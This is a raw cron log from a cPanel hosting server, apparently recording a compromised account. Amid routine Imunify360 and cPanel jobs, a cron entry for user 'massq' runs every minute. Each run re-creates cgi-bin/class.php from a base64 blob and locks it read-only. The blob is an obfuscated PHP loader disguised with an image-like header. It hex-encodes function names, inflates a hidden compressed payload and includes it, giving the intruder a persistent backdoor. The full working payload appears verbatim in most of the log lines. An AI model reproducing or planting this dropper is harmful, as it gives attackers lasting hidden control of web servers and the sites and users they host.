Sep  4 17:51:01 server CROND[10709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:51:01 server CROND[10710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:51:01 server CROND[10711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:52:01 server CROND[11079]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:52:01 server CROND[11080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:52:01 server CROND[11081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:53:01 server CROND[11554]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:53:01 server CROND[11555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:53:01 server CROND[11556]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:54:01 server CROND[11940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:54:01 server CROND[11941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:54:01 server CROND[11939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:55:01 server CROND[12337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 17:55:01 server CROND[12338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:55:01 server CROND[12341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:55:01 server CROND[12342]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 17:55:01 server CROND[12344]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:55:01 server CROND[12347]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 17:55:01 server CROND[12345]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 17:56:01 server CROND[13211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:56:01 server CROND[13212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:56:01 server CROND[13213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:57:01 server CROND[13612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:57:01 server CROND[13610]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 17:57:01 server CROND[13613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:57:01 server CROND[13611]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:58:01 server CROND[14106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:58:01 server CROND[14107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:58:01 server CROND[14108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 17:59:01 server CROND[14493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 17:59:01 server CROND[14494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 17:59:01 server CROND[14495]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:00:01 server CROND[14891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 18:00:01 server CROND[14892]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 18:00:01 server CROND[14896]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 18:00:01 server CROND[14897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 18:00:01 server CROND[14901]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 18:00:01 server CROND[14904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:00:01 server CROND[14900]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 18:00:01 server CROND[14905]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 18:00:01 server CROND[14906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:00:01 server CROND[14908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:01:01 server CROND[15773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:01:01 server CROND[15774]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 18:01:01 server CROND[15775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:01:01 server CROND[15776]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:01:01 server run-parts(/etc/cron.hourly)[15774]: starting 0anacron
Sep  4 18:01:01 server run-parts(/etc/cron.hourly)[15797]: finished 0anacron
Sep  4 18:02:01 server CROND[16172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 18:02:01 server CROND[16174]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 18:02:01 server CROND[16175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 18:03:01 server CROND[16579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
